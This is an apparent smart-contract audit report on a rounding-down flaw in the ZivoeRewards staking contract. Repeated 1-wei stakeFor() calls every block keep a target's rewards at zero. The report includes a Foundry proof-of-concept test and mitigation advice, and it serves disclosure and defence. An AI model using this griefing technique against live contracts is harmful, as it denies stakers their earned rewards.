Expert Inky Bobcat

high

# Staking reward accrual in `ZivoeRewards` contract can be blocked.

## Summary
If frequent calls to `updateReward()` occur, it can block staking reward accrual for specific addresses in the `ZivoeRewards` contract. This vulnerability can be exploited by malicious actors to prevent any account from accruing staking rewards at minimal cost.

## Vulnerability Detail
In the `ZivoeRewards` contract, when rewards are available, staking rewards accumulate over the `rewardDuration` period. Operations like `stake()`, `getRewards()`, and `withdraw()` trigger the `updateReward()` function, which updates global values such as `rewardPerTokenStored` and `lastUpdateTime`, as well as address-specific values like `rewards` and `accountRewardPerTokenPaid`. These values are calculated by the functions shown below.

```solidity
function earned(address account, address _rewardsToken) public view returns (uint256 amount) {
    return _balances[account].mul(
        rewardPerToken(_rewardsToken).sub(accountRewardPerTokenPaid[account][_rewardsToken])
    ).div(1e18).add(rewards[account][_rewardsToken]);
}

function rewardPerToken(address _rewardsToken) public view returns (uint256 amount) {
    if (_totalSupply == 0) { return rewardData[_rewardsToken].rewardPerTokenStored; }
    return rewardData[_rewardsToken].rewardPerTokenStored.add(
        lastTimeRewardApplicable(_rewardsToken).sub(
            rewardData[_rewardsToken].lastUpdateTime
        ).mul(rewardData[_rewardsToken].rewardRate).mul(1e18).div(_totalSupply)
    );
}
```

The issue arises when `(lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 < _totalSupply`. In this case, rewards accrual rounds down to zero. If calls to `updateReward()` for the same address are frequent enough, rewards accrual can be effectively prevented.

As described before, this scenario occurs when `(lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 < _totalSupply`. Considering the average Ethereum block time of 12 seconds, if `updateReward()` is called every block, then `(lastTimeRewardApplicable() - lastUpdateTime)` equals 12. With `rewardDuration` set to 2592000 (30 days, as set in the testing contracts), the rounding down occurs when the `_totalSupply/reward` ratio exceeds `4629629629629`. This is problematic, particularly with tokens like USDC or USDT, which have only 6 decimals, making this ratio easy to reach.

Malicious actors can exploit this vulnerability by repeatedly staking 1 wei of ZVE to the target address at every block using the `stakeFor()` function. This action updates `lastUpdateTime` and `accountRewardPerTokenPaid`, consistently causing reward accrual to round down. The cost of this attack is minimal (1 wei of token + gas costs) but effectively prevents any staker from accruing rewards, regardless of their stake size, as long as the `_totalSupply/reward` ratio remains above `4629629629629`.

See POC example below:

```diff
diff --git a/zivoe-core-testing/src/TESTS_Core/Test_ZivoeRewards.sol b/zivoe-core-testing/src/TESTS_Core/Test_ZivoeRewards.sol
index f5353b6..c12984f 100644
--- a/zivoe-core-testing/src/TESTS_Core/Test_ZivoeRewards.sol
+++ b/zivoe-core-testing/src/TESTS_Core/Test_ZivoeRewards.sol
@@ -705,4 +705,49 @@ contract Test_ZivoeRewards is Utility {
 
     }
     
+    function test_POC() public {
+        // START OF SETUP
+        // Setup tokens and rewards
+        hevm.prank(address(sam));
+        IERC20(address(ZVE)).transfer(address(bob), 10);
+        assert(sam.try_approveToken(address(ZVE), address(stZVE), IERC20(address(ZVE)).balanceOf(address(sam))));
+        sam.try_stake(address(stZVE), IERC20(address(ZVE)).balanceOf(address(sam)));
+        hevm.prank(address(zvl));
+        stZVE.addReward(USDC, 30 days);
+
+        // Add USDC rewards to stZVE
+        uint256 rewardAmount = 1000_000_000; //1000 USDC reward
+        mint("USDC", address(bob), rewardAmount);
+        hevm.startPrank(address(bob));
+        IERC20(address(USDC)).approve(address(stZVE), rewardAmount);
+        stZVE.depositReward(USDC, rewardAmount);
+        IERC20(address(ZVE)).approve(address(stZVE), 10);
+        hevm.stopPrank();
+        // END OF SETUP
+
+        // Assert that the _totalSupply / reward ratio is above 4629629629629
+        uint256 ratio = stZVE.totalSupply() / rewardAmount;
+        assertGt(ratio, 4629629629629);
+
+        //Sam gets his reward
+        hevm.warp(block.timestamp + 3 days);
+        assert(sam.try_getRewards(address(stZVE)));
+
+        hevm.startPrank(address(bob));
+        hevm.warp(block.timestamp + 12);
+        // Attacker call stakeFOr() to update Sam's rewards.
+        stZVE.stakeFor(1, address(sam));
+
+        hevm.warp(block.timestamp + 12);
+        // Attacker repeats this indefinitely
+        stZVE.stakeFor(1, address(sam));
+
+        // Sam tries to get his rewards.
+        uint256 balanceBefore = IERC20(address(USDC)).balanceOf(address(sam));
+        assert(sam.try_getRewards(address(stZVE)));
+        uint256 balanceAfter = IERC20(address(USDC)).balanceOf(address(sam));
+
+        // Check that rewards rounds down to zero
+        assertEq(balanceAfter - balanceBefore, 0);
+    }--
 }
```

## Impact
This attack can block any staker, irrespective of their stake size, from accruing rewards as long as the `_totalSupply/reward` ratio remains above `4629629629629`. This results in potential loss of funds for the targeted addresses.

## Code Snippet
https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeRewards.sol#L123-L134

https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeRewards.sol#L180-L203

## Tool used
Manual Review

## Recommendation
To mitigate this issue, consider either removing the ability for users to stake for other addresses (`ZivoeRewards.stakeFor()`) or implementing a minimal update interval to prevent this type of attack.